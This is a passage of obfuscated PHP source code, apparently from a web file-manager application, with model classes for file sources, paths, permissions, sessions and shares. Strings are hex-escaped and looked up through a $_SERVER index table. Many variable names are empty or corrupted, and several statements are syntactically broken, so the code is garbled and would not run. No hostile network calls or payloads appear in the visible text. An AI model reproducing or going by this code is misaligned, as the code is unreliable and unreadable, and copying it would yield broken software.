array_to_keyvalue($؍, $[97], $[450]); foreach ($؍ as $ => $ą) { if ($ت; || in_array($, $this->jsonField)) { $؍[$] = json_decode($ą, !0); } } $this->cacheSet($Ȗ, $؍); $؍ = array_merge($, $؍); return $뫠 ? $؍[$뫠] : $؍; } public function set($庵, $ = false, $đ = '') { $艬 =& $_SERVER[]; $this->cacheRemove($đ); $ϊ = array(); $ = is_array($庵) ? $庵 : array($庵 => $); foreach ($ as $ => $ַ) { if (is_array($ַ)) { $ַ = json_encode_force($ַ); } $this->checkLength($ַ, !1, $this->tableName . $艬[4] . $庵); $ַ = self::textEncode($ַ); $ = array($艬[33] => $đ, $艬[97] => $, $艬[450] => $ַ); $ϊ[] = $this->filterWhere($); } if (!$ϊ) { return !0; } $ = $this->cacheKey($艬[476]); CacheLock::lock($); $ = $this->addAll($ϊ, array(), !0); CacheLock::unlock($); return $; } protected function optionDefault($׹Ֆ = '') { return !1; } public function setDeep($މɱЩ, $ = false, $Ҁ = '') { $ = explode($_SERVER[][10], $މɱЩ); $ت = $this->get(); array_set_value($ت, $މɱЩ, $); $this->set($[0], $ت[$[0]], $Ҁ); } public function remove($ؒ, $ = '') { $ =& $_SERVER[]; $this->cacheRemove($); $ = $this->filterWhere(array($[97] => $ؒ, $[33] => $)); if (is_null($ؒ)) { unset($[$[97]]); } return $this->where($)->delete(); } public function cacheSet($Ɠ, $я = false) { return Cache::set($this->cacheKey($Ɠ), $я); } public function cacheGet($£) { return Cache::get($this->cacheKey($£)); } public function cacheRemove($) { return Cache::remove($this->cacheKey($)); } protected function filterWhere($) { return $; } protected function cacheKey($) { return $; } } class SourceListModel extends ModelBase { protected $tableName = "\x69\157\x5f\163\157\x75\x72\x63\x65"; protected $tableMeta = array("\x74\x61\x62\x6c\145\116\x61\x6d\145" => "\151\x6f\x5f\x73\x6f\x75\162\x63\145\137\x6d\x65\164\141", "\155\x65\x74\x61\x46\x69\145\154\144" => "\x73\x6f\165\x72\x63\145\x49\x44"); protected $dataAuto = array(array("\x6d\x6f\144\151\146\171\124\151\x6d\145", "\164\x69\x6d\x65", "\x69\156\163\145\x72\164", "\x66\x75\156\143\x74\x69\157\x6e"), array("\x63\162\145\141\164\x65\124\x69\155\145", "\x74\x69\155\145", "\151\x6e\163\145\162\164", "\x66\165\x6e\143\164\151\x6f\156"), array("\x76\x69\x65\167\124\151\x6d\x65", "\x74\151\x6d\145", "\x69\156\163\145\162\x74", "\146\x75\x6e\143\x74\x69\157\156")); protected static $cacheSourceInfo = array(); protected static $cachePathInfo = array(); protected static $cacheFileInfo = array(); protected static $cacheChildList = array(); const TYPE_SYSTEM = 0; const TYPE_USER = 1; const TYPE_GROUP = 2; public function listData($) { return $this->listSource(array($_SERVER[][477] => $)); } public function typeName($앿) { static $ = array(self::TYPE_SYSTEM => "\163\171\x73\164\145\155", self::TYPE_USER => "\165\163\145\x72", self::TYPE_GROUP => "\147\x72\157\x75\x70"); return $[$앿 . $_SERVER[][12]]; } public function sourceListInfo($̒, $ҳ = false) { $ٍ =& $_SERVER[]; $̒ = $̒ ? $̒ : array(); $̒ = array_filter(array_unique($̒)); if (!$̒) { return array(); } $椼 = $this->where(array($ٍ[193] => array($ٍ[7], $̒)))->select(); $this->_listDataApply($椼, $ҳ); return array_to_keyvalue($椼, $ٍ[193]); } public function pathInfoFilter(&$ͬ) { $ =& $_SERVER[]; static $Ų = false; static $ = false; static $ߦ = false; if (!$Ų) { $䞑ö = $[478]; $䞑ö .= $[479]; $䞑ö .= $[480]; $— = $[481]; $҉ = explode($[50], $—); $Ų = explode($[50], $䞑ö); $ = array(); foreach ($Ų as $ǯ) { if (in_array($ǯ, $҉)) { continue; } $[] = $ǯ; } $ߦ = explode($[50], $[482]); } foreach ($ߦ as $ɰ) { if (isset($ͬ[$ɰ])) { $ͬ[$ɰ] = intval($ͬ[$ɰ]); } } $ͬ[$[87]] = $[483] . $ͬ[$[193]] . $[484]; $ͬ[$[33]] = $ͬ[$[485]] == 1 ? $[78] : $[230]; $ͬ[$[190]] = $this->typeName($ͬ[$[190]]); if ($ͬ[$[485]] != 1) { $ͬ[$[169]] = $ͬ[$[486]]; unset($ͬ[$[486]]); } $ۈ = $Ų; if (isset($ͬ[$[487]]) && $ͬ[$[487]][$[488]] == -1) { $ۈ = $; } $ͬ = array_field_key($ͬ, $ۈ); return $ͬ; } public function listUserFav() { $Ꞇ =& $_SERVER[]; $§ = Model($Ꞇ[489])->listData(); $ɫڟ = array_filter_by_field($§, $Ꞇ[33], $Ꞇ[490]); $ɫڟ = array_to_keyvalue($ɫڟ, $Ꞇ[12], $Ꞇ[87]); if ($ɫڟ) { $ʟ = $this->listSource(array($Ꞇ[491] => array($Ꞇ[492], $ɫڟ))); } $ʟ = array_to_keyvalue($ʟ[$Ꞇ[445]], $Ꞇ[193]); foreach ($§ as &$м) { $м = array($Ꞇ[493] => $м[$Ꞇ[475]], $Ꞇ[494] => $м[$Ꞇ[32]], $Ꞇ[495] => $м[$Ꞇ[87]], $Ꞇ[496] => $м[$Ꞇ[33]], $Ꞇ[497] => $м[$Ꞇ[231]], $Ꞇ[498] => $м[$Ꞇ[88]]); if ($м[$Ꞇ[33]] == $Ꞇ[490] && $ʟ[$м[$Ꞇ[87]]]) { $м[$Ꞇ[90]] = $ʟ[$м[$Ꞇ[87]]]; } } unset($м); return $§; } public function listUserTag($) { $ޕ =& $_SERVER[]; if ($ && !is_array($)) { $ = array($); } $ = Model($ޕ[499])->listData(); $ = array(); $ = array(); foreach ($ as $) { $ߐ = $[$ޕ[87]]; if (!$ߐ) { continue; } if (!isset($[$ߐ])) { $[$ߐ] = array(); } $[$ߐ][] = $[$ޕ[500]]; $[$[$ޕ[87]]] = $; } $ = array(); $ = array(); $ = array(); foreach ($ as $ͲՎ => $) { $ = !0; if (!$) { $[] = $ͲՎ; continue; } foreach ($ as $̣) { if (!in_array($̣, $)) { $ = !1; break; } } if (!$) { continue; } if (!is_numeric($ͲՎ)) { $ف = $[$ͲՎ]; $ = array($ޕ[32] => $ف[$ޕ[32]], $ޕ[87] => $ف[$ޕ[87]], $ޕ[33] => $ف[$ޕ[33]], $ޕ[90] => array($ޕ[501] => 1), $ޕ[232] => !0); if ($ف[$ޕ[33]] == $ޕ[230]) { $[] = $; } if ($ف[$ޕ[33]] == $ޕ[78]) { $[] = $; } continue; } $[] = $ͲՎ; } if ($) { $ = $this->listSource(array($ޕ[491] => array($ޕ[492], $))); } $ = $ ? $ : array($ޕ[85] => array(), $ޕ[86] => array()); $[$ޕ[85]] = array_merge($[$ޕ[85]], $); $[$ޕ[86]] = array_merge($[$ޕ[86]], $); if (isset($[$ޕ[442]]) && count($) == $[$ޕ[442]][$ޕ[443]]) { return $; } $֐ = array(); $ = array_to_keyvalue($[$ޕ[85]], $ޕ[12], $ޕ[193]); $ = array_to_keyvalue($[$ޕ[86]], $ޕ[12], $ޕ[193]); $ = array_merge($, $); foreach ($ as $ߐ) { if (!in_array($ߐ, $)) { $֐[] = $ߐ; } } if ($֐) { Model($ޕ[502])->removeBySource($֐); } return $; } public function listUserRecycle() { $מ =& $_SERVER[]; $ = Model($מ[503])->listData(); if (!$) { return array(); } $䟿Ӡ = array($מ[491] => array($מ[492], $), $מ[504] => 1); return $this->listSource($䟿Ӡ); } public function listSource($, $ђҬ = 3000, $Ӌ = false) { $˽ܒ =& $_SERVER[]; if (!isset($[$˽ܒ[505]])) { $[$˽ܒ[505]] = 0; } if (isset($[$˽ܒ[192]]) && $[$˽ܒ[192]] == $˽ܒ[228]) { $[$˽ܒ[486]] = array($˽ܒ[506], $˽ܒ[12]); } $萅 = $˽ܒ[507]; $ = $this->field($萅)->_makeOrder()->where($)->selectPage($ђҬ); $this->_listPageCheck($, $萅, $); $this->_listDataApply($[$˽ܒ[445]], $Ӌ); $this->_listMake($); return $; } private function _listPageCheck(&$, $, $皇) { $ =& $_SERVER[]; if (!is_array($[$[442]])) { return; } $ = $[$[442]]; if ($[$[444]] <= 1) { return; } if ($[$[443]] >= 100000) { return; } if (Model($[508])->get($[509]) != $[510]) { return; } $ = str_replace(array($[53], $[418], $[262]), $[12], $); $ = $[511] . str_replace($[50], $[512], $) . $[513]; $ϼŶ = $[514]; $ϼŶ = $ϼŶ . $[515]; $ޓ = $[$[439]] * ($[$[429]] - 1) . $[50] . $[$[439]]; $ = $this->_makeOrder(!0); $ۄ = $[511] . str_replace($[50], $[512], $[0]); if (strpos($ۄ, $[516])) { $ۄ = str_replace($[516], $[517], $ۄ); } else { $ۄ .= $[518] . $[1]; } $è = array(); foreach ($皇 as $ߡ => $ꕎ) { $è[$[511] . $ߡ] = $ꕎ; } $this->alias($[519])->field($)->limit($ޓ)->order($ۄ); $ = $this->join($ϼŶ)->where($è)->select(); if ($) { $[$[445]] = $; } } protected function _makeOrder($ = false) { $ =& $_SERVER[]; $٣ = Model($[520])->get($[521]); $ = Model($[520])->get($[522]); $Ә = array($[523] => $[524], $[525] => $[526]); $ռ = array($[32] => $[32], $[79] => $[79], $[169] => $[486], $[527] => $[527], $[528] => $[529], $[231] => $[231], $[88] => $[88]); $ڶ = Input::get($[530], $[7], $٣, array_keys($ռ)); $ = Input::get($[531], $[7], $, array_keys($Ә)); if (!in_array($ڶ, array_keys($ռ))) { $ڶ = $[32]; } if (!in_array($, array_keys($Ә))) { $ڶ = $[523]; } if ($ڶ == $[32]) { } $밒 = $[532] . $ռ[$ڶ] . $[53] . $Ә[$]; $밒 = rtrim(trim($밒), $[50]); if ($) { return array($밒, $Ә[$]); } return $this->order($밒); } protected function _listDataApplyItem($ϙؾ, $ = false) { $ۢ = array($ϙؾ); $this->_listDataApply($ۢ, $); return $ۢ[0]; } protected function _listDataApply(&$듊, $ڰ = false) { $ =& $_SERVER[]; if (!$듊) { $듊 = array(); return; } $ĕԤ = array_to_keyvalue($듊, $[12], $[193]); $ĕԤ = array_unique($ĕԤ); $this->_listSourceCache($듊); if (!$ڰ) { $this->_listAppendMeta($듊, $ĕԤ); $this->_listAppendFileMeta($듊, $ĕԤ); $this->_listAppendChildren($듊, $ĕԤ); } $this->_listAppendPath($듊); $this->_listAppendAuth($듊); $this->_listAppendSourceInfo($듊, $ĕԤ); $this->_listAppendUser($듊); $this->_listFilterInfo($듊, $ڰ); $this->_listAppendAuthSecret($듊); } protected function _listSourceCache($ͻ) { $ =& $_SERVER[]; foreach ($ͻ as $ט) { self::$cacheSourceInfo[$[533] . $ט[$[193]]] = $ט; } } protected function _listFilterInfo(&$, $ = false) { $늞 =& $_SERVER[]; foreach ($ as &$) { $ = $this->pathInfoFilter($); self::$cachePathInfo[$늞[534] . intval($) . $늞[462] . $[$늞[193]]] = $; } unset($); } protected function _listMake(&$) { $ӌ =& $_SERVER[]; $[$ӌ[85]] = array(); $[$ӌ[86]] = array(); foreach ($[$ӌ[445]] as $ԑ) { $֋ = $ԑ[$ӌ[485]] == 1 ? $ӌ[85] : $ӌ[86]; $[$֋][] = $ԑ; } unset($[$ӌ[445]]); } protected function _listAppendMeta(&$ʋ, $) { $ =& $_SERVER[]; $ޥ = array($[491] => array($[492], $)); $标 = Model($[535])->field($[536])->where($ޥ)->select(); if (!$标) { return; } $ = array($[537], $[538], $[517]); $ = array(); foreach ($标 as $۵) { if (!isset($[$۵[$[193]]])) { $[$۵[$[193]]] = array(); } if (in_array($۵[$[97]], $)) { continue; } $[$۵[$[193]]][$۵[$[97]]] = $۵[$[450]]; } foreach ($ʋ as &$֒) { $֒[$[539]] = !1; if (isset($[$֒[$[193]]])) { $֒[$[539]] = $[$֒[$[193]]]; } if ($this->fileIsLock($֒) && $֒[$[487]]) { $ӄ = AuthModel::AUTH_EDIT | AuthModel::AUTH_REMOVE; $֒[$[487]][$[488]] = AuthModel::authDisable($֒[$[487]][$[488]], $ӄ); $֒[$[487]][$[540]][$[487]] = $֒[$[487]][$[488]]; } } unset($֒); } protected function _listAppendFileMeta(&$Ũ, $) { $ =& $_SERVER[]; $誵 = array_to_keyvalue($Ũ, $[12], $[541]); $誵 = array_filter(array_unique($誵)); if (!$誵) { return; } $Dz = array($[542] => array($[492], $誵)); $ģ = $[543]; $Ф݆ = Model($[544])->field($ģ)->where($Dz)->select(); $Ф݆ = array_to_keyvalue($Ф݆, $[541]); $ = Model($[545])->field($[546])->where($Dz)->select(); $ = $ ? $ : array(); $΃ = array(); foreach ($ as $) { if (!isset($΃[$[$[541]]])) { $΃[$[$[541]]] = array(); } $΃[$[$[541]]][$[$[97]]] = $[$[450]]; } foreach ($Ũ as &$͵) { $탋 = $͵[$[541]]; if (!$탋 || !is_array($Ф݆[$탋])) { continue; } $© = $Ф݆[$탋]; $©[$[79]] = $͵[$[79]]; $©[$[32]] = $͵[$[32]]; if (!$©[$[547]]) { Model($[544])->fileMd5Check($©); } if (!isset(self::$cacheFileInfo[$[548] . $탋])) { self::$cacheFileInfo[$[548] . $탋] = array_merge(array(), $©); } unset($Ф݆[$탋][$[87]]); $Dž = isset($΃[$탋]) && is_array($΃[$탋]) ? $΃[$탋] : array(); $͵[$[170]] = array_merge($Dž, $Ф݆[$탋]); if (isset($͵[$[170]][$[184]])) { $͵[$[184]] = json_decode($͵[$[170]][$[184]], !0); unset($͵[$[170]][$[184]]); } } unset($͵); } protected function _listAppendSourceInfo(&$, $ߑ) { $ު =& $_SERVER[]; $Ӑ = Model($ު[549])->listData(); $񚶂 = Model($ު[499])->listData(); $ = Model($ު[489])->listData(); $챣 = Model($ު[550])->listSimple(); $ĩ = array_to_keyvalue($Ӑ, $ު[475]); $Խ = array_to_keyvalue_group($񚶂, $ު[87], $ު[500]); $ = array_to_keyvalue($, $ު[87]); $Ԝ = array_to_keyvalue_group($챣, $ު[193]); foreach ($ as &$) { $[$ު[90]] = array($ު[551] => 0, $ު[552] => 0, $ު[553] => 0); if (isset($[$[$ު[193]]])) { $[$ު[90]][$ު[554]] = 1; $[$ު[90]][$ު[555]] = $[$[$ު[193]]][$ު[32]]; } if ($Խ && $ĩ && isset($Խ[$[$ު[193]]])) { $[$ު[90]][$ު[556]] = array(); foreach ($Խ[$[$ު[193]]] as $Ȝ) { $υ貝 = $ĩ[$Ȝ]; $[$ު[90]][$ު[556]][] = array($ު[557] => $υ貝[$ު[475]], $ު[494] => $υ貝[$ު[32]], $ު[558] => $υ貝[$ު[559]]); } } if ($Ԝ && isset($Ԝ[$[$ު[193]]])) { $[$ު[90]][$ު[560]] = array(); foreach ($Ԝ[$[$ު[193]]] as $Ƕ) { $݋ߤ = $ު[561]; if ($Ƕ[$ު[562]] == $ު[91]) { $݋ߤ .= $ު[563]; } $[$ު[90]][$ު[560]] = array_field_key($Ƕ, explode($ު[50], $݋ߤ)); } } } unset($); return $; } protected function _listAppendChildren(&$, $) { $ =& $_SERVER[]; $ = array(); $ = array($[239] => 0, $[240] => 0); foreach ($ as &$Ĕ) { if (!$Ĕ[$[485]]) { continue; } $[] = $Ĕ[$[193]]; } unset($Ĕ); if (!$) { return; } $˺ = array($[192] => array($[7], $), $[505] => 0); $١ = array($[192], $[485], $[564] => $[565]); $ӄ = $this->field($١)->where($˺)->group($[566])->select(); $Ǡ = array(); foreach ($ӄ as $᚛) { $Ȗ = $᚛[$[192]]; $ˏ = $᚛[$[485]] == $[91] ? $[240] : $[239]; if (!isset($Ǡ[$Ȗ])) { $Ǡ[$Ȗ] = array($[239] => 0, $[240] => 0); } $Ǡ[$Ȗ][$ˏ] += $᚛[$[565]]; } foreach ($ as &$Ĕ) { if (!$Ĕ[$[485]]) { continue; } $ = is_array($Ǡ[$Ĕ[$[193]]]) ? $Ǡ[$Ĕ[$[193]]] : $; $Ĕ[$[240]] = $[$[240]]; $Ĕ[$[239]] = $[$[239]]; unset($Ĕ[$[486]]); } unset($Ĕ); } protected function _listAppendAuth(&$҂) { $ =& $_SERVER[]; $ = array(); foreach ($҂ as $Ȉ) { if ($Ȉ[$[190]] == self::TYPE_GROUP) { $[] = $Ȉ[$[193]]; } } if (!$) { return; } $ߥ = array_to_keyvalue($҂, $[193]); $ = Model($[567])->getSourceList($, $ߥ); $ = KodUser::isRoot(); foreach ($҂ as $ȧ => &$Ȉ) { $Ȉ[$[487]] = $[$Ȉ[$[193]]]; if (!$Ȉ[$[487]] && $Ȉ[$[190]] == self::TYPE_GROUP) { $Ȉ[$[487]] = Action($[568])->pathGroupAuthMake($Ȉ[$[569]]); if (!$Ȉ[$[487]] && !$) { $Ȉ[$[233]] = !1; $Ȉ[$[232]] = !1; } } if ($Ȉ[$[487]]) { $Ȉ[$[233]] = AuthModel::authCheckEdit($Ȉ[$[487]][$[488]]); $Ȉ[$[232]] = AuthModel::authCheckView($Ȉ[$[487]][$[488]]); } $this->groupPathDisplay($Ȉ); } unset($Ȉ); } public function _listAppendAuthSecret(&$) { $ =& $_SERVER[]; if (Model($[508])->get($[570]) != $[91]) { return; } static $Է = false; if (!$Է) { $Ł = Model($[571]); $嬆 = Model($[572]); $Է = $嬆->listData(); $Է = array_to_keyvalue($Է, $[193]); $Ἆ = json_decode(Model($[508])->get($[573]), !0); $Ἆ = array_to_keyvalue($Ἆ, $[475]); foreach ($Է as $٢͏ => $Þ) { $޴ = $Ἆ[$Þ[$[574]]]; if (!$޴) { $嬆->remove($Þ[$[475]]); unset($Է[$٢͏]); continue; } $ֳ = $Ł->listData($޴[$[487]]); if (!$ֳ) { $嬆->remove($Þ[$[475]]); unset($Է[$٢͏]); continue; } $Þ[$[487]] = $ֳ; $Þ[$[575]] = $޴; $Þ[$[576]] = Model($[577])->getInfoSimpleOuter($Þ[$[527]]); $Է[$٢͏] = $Þ; } } $ƒ = USER_ID; $ = array(); $ = $this->_listAppendPath($, !0); foreach ($ as $٢͏ => &$Þ) { if (!is_array($Þ[$[487]])) { continue; } if ($Þ[$[190]] != $[578]) { continue; } if (isset($Է[$Þ[$[193]]])) { $˗ = $Է[$Þ[$[193]]]; if (!is_array($Þ[$[539]])) { $Þ[$[539]] = array(); } $Þ[$[539]][$[579]] = $˗[$[574]]; $Þ[$[487]][$[580]] = $˗; $Þ[$[487]][$[581]] = $Þ[$[582]]; $Þ[$[487]][$[583]] = $[91]; if ($˗[$[527]] != $ƒ) { $Þ[$[487]][$[488]] = $Þ[$[487]][$[488]] & $˗[$[487]][$[487]]; } continue; } $ד = $this->parentLevelArray($Þ[$[584]]); $۩ = array_reverse($ד); foreach ($۩ as $ => $ڑ) { if (!isset($Է[$ڑ])) { continue; } $˗ = $Է[$ڑ]; $Þ[$[487]][$[580]] = $˗; if ($˗[$[527]] != $ƒ) { $Þ[$[487]][$[488]] = $Þ[$[487]][$[488]] & $˗[$[487]][$[487]]; } $ = $[12]; $ = count($ד) - $; for ($Ѐϖ = 0; $Ѐϖ < $; $Ѐϖ++) { if (!isset($[$ד[$Ѐϖ]])) { $ = $[12]; break; } $ = $ . rtrim($[$ד[$Ѐϖ]], $[8]) . $[8]; } $Þ[$[487]][$[581]] = rtrim($, $[8]) . $[8]; break; } } unset($Þ); } public function groupPathDisplay(&$̑) { $םݣ =& $_SERVER[]; if ($̑[$םݣ[190]] != self::TYPE_GROUP) { return; } $Ę = Model($םݣ[585])->getInfo($̑[$םݣ[569]]); $ = $this->parentLevelArray($Ę[$םݣ[584]]); $Ψ = $םݣ[12]; foreach ($ as $č) { $ޡ = Model($םݣ[585])->getInfo($č); $Ψ .= $ޡ[$םݣ[90]][$םݣ[193]] . $םݣ[50]; } $̑[$םݣ[586]] = $Ę[$םݣ[192]]; $̑[$םݣ[587]] = $Ę[$םݣ[584]]; $̑[$םݣ[588]] = $Ę[$םݣ[589]]; $̑[$םݣ[590]] = $Ψ . $Ę[$םݣ[90]][$םݣ[193]]; } protected function _listAppendPath(&$, $ = false) { $چţ =& $_SERVER[]; static $ȟ = array(); $Ѫ = array(); $ = array(); if ($) { return $ȟ; } foreach ($ as &$») { $ = $»[$چţ[193]]; if ($»[$چţ[485]] == $چţ[91] && $»[$چţ[192]] != 0) { $ȟ[$] = $»[$چţ[32]]; } if ($»[$چţ[485]] == $چţ[91] && $»[$چţ[192]] == 0) { $ȟ[$] = $this->_listAppendPathRoot($», array()); } if (isset($[$»[$چţ[584]]])) { continue; } $[$»[$چţ[584]]] = !0; $ؗ = $this->parentLevelArray($»[$چţ[584]]); foreach ($ؗ as $ => $) { if (isset($ȟ[$])) { continue; } if ($ == 0) { $ȟ[$] = $this->_listAppendPathRoot($», $ؗ); } if ($ != 0) { $Ѫ[] = $; } } } unset($»); $Ѫ = array_unique($Ѫ); if (count($Ѫ) > 0) { $Ѩ = array($چţ[491] => array($چţ[492], $Ѫ)); if (count($Ѫ) == 1) { $ = $this->sourceInfo($Ѫ[0]); $ە = is_array($) ? array($) : !1; } else { $ە = $this->field($چţ[591])->where($Ѩ)->select(); } if (!$ە) { $ە = array(); } foreach ($ە as $) { $ȟ[$[$چţ[193]]] = $[$چţ[32]]; } } $ = KodIO::sourceID(IO_PATH_SYSTEM_RECYCLE); $ۅ = array(); foreach ($ as &$») { $ = $»[$چţ[584]]; $Ƃ = $چţ[12]; if (isset($ۅ[$])) { $Ƃ = $ۅ[$]; } else { $ؗ = $this->parentLevelArray($»[$چţ[584]]); foreach ($ؗ as $ => $) { if (isset($ȟ[$])) { $Ƃ .= $ȟ[$] . $چţ[8]; } } $ۅ[$] = $Ƃ; } $Ƃ .= $»[$چţ[32]]; if ($»[$چţ[485]] == $چţ[91]) { $Ƃ .= $چţ[8]; } $»[$چţ[582]] = str_replace($چţ[592], $چţ[8], $Ƃ); if ($»[$چţ[192]] == $چţ[228]) { $»[$چţ[32]] = trim($ȟ[$»[$چţ[193]]], $چţ[8]); $»[$چţ[582]] = $»[$چţ[32]] . $چţ[8]; } if (intval($»[$چţ[190]]) == self::TYPE_SYSTEM) { $this->_listAppendPathRecycle($», $ؗ, $); } } unset($»); return $; } private function _listAppendPathRecycle(&$̯̬, $ߊ̆, $) { $Ŧ =& $_SERVER[]; if (!in_array($, $ߊ̆) && $̯̬[$Ŧ[193]] != $) { return; } $ǐ = explode($Ŧ[8], trim($̯̬[$Ŧ[582]], $Ŧ[8])); $퇕 = implode($Ŧ[8], array_slice($ǐ, 2)); $̯̬[$Ŧ[582]] = $Ŧ[8] . LNG($Ŧ[593]) . $Ŧ[8] . ltrim($퇕, $Ŧ[8]); $̯̬[$Ŧ[584]] = $Ŧ[594] . implode($Ŧ[50], array_slice($ߊ̆, 1)) . $Ŧ[50]; if ($̯̬[$Ŧ[193]] == $) { $̯̬[$Ŧ[584]] = $Ŧ[594]; $̯̬[$Ŧ[192]] = $Ŧ[228]; $̯̬[$Ŧ[32]] = LNG($Ŧ[593]); } $̯̬[$Ŧ[595]] = $Ŧ[596]; } protected function _listAppendPathRoot(&$, $) { $ح =& $_SERVER[]; static $ = false; $桥 = $ح[12]; if ($[$ح[190]] == self::TYPE_USER) { if ($[$ح[569]] == USER_ID) { $桥 = LNG($ح[597]); if ($ === !1) { $Ѥ = Model($ح[598])->getInfoFull(USER_ID); $ = _get($Ѥ, $ح[599], $ح[12]); } if ($ && $[0] == $ || !$ && $[$ح[193]] == $) { $桥 = LNG($ح[600]); $[$ح[601]] = $ح[602]; } if (!$) { $[$ح[32]] = $桥; } } else { $[$ح[603]] = Model($ح[577])->getInfoSimpleOuter($[$ح[569]]); $桥 = LNG($ح[604]) . $ح[176] . $[$ح[603]][$ح[32]] . $ح[178]; } } else { if ($[$ح[190]] == self::TYPE_GROUP) { $ç = Model($ح[585])->getInfoSimple($[$ح[569]]); $桥 = $ç[$ح[32]]; } else { if ($[$ح[190]] == self::TYPE_SYSTEM) { $桥 = $ح[605]; } } } $桥 = $桥 ? $ح[8] . $桥 . $ح[8] : $ح[8]; return $桥; } protected function _listAppendUser(&$) { $Ҷ =& $_SERVER[]; $ɽ = array_to_keyvalue($, $Ҷ[12], $Ҷ[527]); $ƕ = array_to_keyvalue($, $Ҷ[12], $Ҷ[529]); $Ȑ = array_merge($ɽ, $ƕ); $ = Model($Ҷ[598])->userListInfo($Ȑ); foreach ($ as &$ݴޟ) { $͵ = $ݴޟ[$Ҷ[527]]; $ݴޟ[$Ҷ[527]] = $[$͵] ? $[$͵] : !1; $͵ = $ݴޟ[$Ҷ[529]]; $ݴޟ[$Ҷ[529]] = $[$͵] ? $[$͵] : !1; if (_get($ݴޟ, $Ҷ[606], 0)) { $ꆽ­ = $GLOBALS[$Ҷ[6]][$Ҷ[92]][$Ҷ[607]]; if ($ݴޟ[$Ҷ[539]][$Ҷ[608]] <= time() - $ꆽ­) { $this->metaSet($ݴޟ[$Ҷ[193]], $Ҷ[609], null); $this->metaSet($ݴޟ[$Ҷ[193]], $Ҷ[608], null); unset($ݴޟ[$Ҷ[539]][$Ҷ[609]]); continue; } $ = $ݴޟ[$Ҷ[539]][$Ҷ[609]]; $ݴޟ[$Ҷ[539]][$Ҷ[610]] = Model($Ҷ[598])->getInfoSimpleOuter($); } } unset($ݴޟ); } public function parentLevelArray($⒎) { $ =& $_SERVER[]; $⒎ = explode($[50], trim($⒎, $[50])); return array_remove_value($⒎, $[228]); } public function listAll($„) { $ߎ =& $_SERVER[]; $ṗ = $this->sourceInfo($„); $ٱ = array($ߎ[611] => array($ߎ[612], $ṗ[$ߎ[584]] . $„ . $ߎ[613]), $ߎ[614] => 0); $ּ = $ߎ[615]; $ȿ = "\x4c\x45\106\124\40\x4a\117\x49\x4e\40{$this->tablePrefix}\x69\x6f\x5f\x66\x69\x6c\x65\40\146\151\x6c\x65\x20\x6f\156\40\163\157\x75\x72\x63\x65\x2e\146\151\154\x65\111\104\40\75\40\146\151\154\145\x2e\146\151\154\x65\x49\104"; $ϣ = $this->alias($ߎ[519])->field($ּ)->where($ٱ)->join($ȿ)->select(); $this->_listAppendAuth($ϣ); $this->_listAppendUser($ϣ); $this->_listAppendPath($ϣ); $ϣ = array_to_keyvalue($ϣ, $ߎ[193]); $ۚ = "\57{$ṗ[$ߎ[32]]}\57"; $ۚ = $ۚ == $ߎ[592] ? $ߎ[8] : $ۚ; $ = array(); foreach ($ϣ as $ => $ŝޝ) { $̥ = $this->parentLevelArray($ŝޝ[$ߎ[584]]); array_shift($̥); $ = $ۚ; for ($𰾅 = 0; $𰾅 < count($̥); $𰾅++) { $ .= $ϣ[$̥[$𰾅]][$ߎ[32]] . $ߎ[8]; } $ .= $ŝޝ[$ߎ[32]]; if ($ŝޝ[$ߎ[485]]) { $ .= $ߎ[8]; } $ = array($ߎ[495] => str_replace($ߎ[592], $ߎ[8], str_replace($ߎ[592], $ߎ[8], str_replace($ߎ[592], $ߎ[8], $))), $ߎ[616] => intval($ŝޝ[$ߎ[485]]), $ߎ[617] => intval($ŝޝ[$ߎ[79]]), $ߎ[88] => intval($ŝޝ[$ߎ[88]]), $ߎ[90] => $this->pathInfoFilter($ŝޝ)); if (!$[$ߎ[485]]) { $[$ߎ[541]] = $ŝޝ[$ߎ[541]]; } $[] = $; } $ = array_sort_by($, $ߎ[87]); return $; } } goto Bȥ; aɘ: class SessionModel extends ModelBase { protected $tableName = "\x73\171\x73\164\x65\155\x5f\x73\x65\163\x73\151\x6f\156"; public function get($) { $ =& $_SERVER[]; $ݾ = $this->where(array($[2102] => $))->find(); if (!is_array($ݾ)) { return !1; } return $ݾ[$[171]]; } public function set($, $, $ = 3600) { $ =& $_SERVER[]; $Ï = array($[2102] => $, $[2001] => $, $[2103] => $ + time()); if (Session::get($[2104])) { $Ï[$[1763]] = Session::get($[2104]); } else { $Ï[$[1763]] = 0; } if ($this->get($)) { return $this->where(array($[2102] => $))->save($Ï); } else { return $this->add($Ï, array(), !0); } } public function remove($򦊦) { return $this->where(array($_SERVER[][2102] => $򦊦))->delete(); } public function clearTimeout() { return $this->where($_SERVER[][2105] . time())->delete(); } } class ShareModel extends ModelBase { protected $tableName = "\163\150\141\162\145"; protected $dataAuto = array(array("\x6d\x6f\144\151\146\x79\124\x69\155\x65", "\164\151\x6d\145", "\x69\156\x73\145\x72\164\54\165\x70\x64\141\x74\145", "\146\x75\x6e\x63\164\151\157\x6e"), array("\143\162\x65\141\x74\x65\x54\151\x6d\145", "\x74\151\x6d\x65", "\x69\156\163\x65\162\164", "\x66\x75\156\x63\x74\151\157\x6e"), array("\x6f\160\x74\151\157\156\163", '', "\151\156\163\x65\162\164\54\165\160\144\x61\x74\x65\54\x73\x65\x6c\145\143\164", "\x6a\x73\x6f\156")); private $fieldList = "\52"; protected function cacheFunctionAlias($) { $Ø =& $_SERVER[]; $ҟԾ = isset($[0]) ? $[0] : !1; return array($Ø[2106] => array(USER_ID, $Ø[2107]), $Ø[2046] => array($ҟԾ, $Ø[2108])); } protected function listSimple() { $ = array($_SERVER[][1763] => USER_ID); $Ѻ = $this->field($this->fieldList)->where($)->select(); return $Ѻ ? $Ѻ : array(); } protected function getInfo($޺, $Ͷ = false) { $๋͠ =& $_SERVER[]; if ($Ͷ) { return $this->_getShareInfo(array($๋͠[665] => $޺)); } $ = $this->cacheFunctionGet($๋͠[2048], $޺); return $; } public function getInfoByHash($թ) { return $this->_getShareInfo(array($_SERVER[][2109] => $թ)); } public function getInfoByPath($) { $ =& $_SERVER[]; $ˢ = array($[1763] => USER_ID, $[193] => $); return $this->_getShareInfo($ˢ); } public function getInfoBySourcePath($) { $ =& $_SERVER[]; $© = array($[1763] => USER_ID, $[1250] => $); return $this->_getShareInfo($©); } private function _getShareInfo($) { $ =& $_SERVER[]; $ = $this->where($)->find(); if (!$) { return !1; } $ = array($[665] => $[$[665]]); $݌ = $[2110]; $ײ = Model($[666])->order($[475])->field($݌)->where($)->select(); if ($[$[193]] == $[228]) { $[$[90]] = IO::info($[$[1250]]); } else { $[$[90]] = Model($[1411])->pathInfo($[$[193]]); } $[$[2111]] = 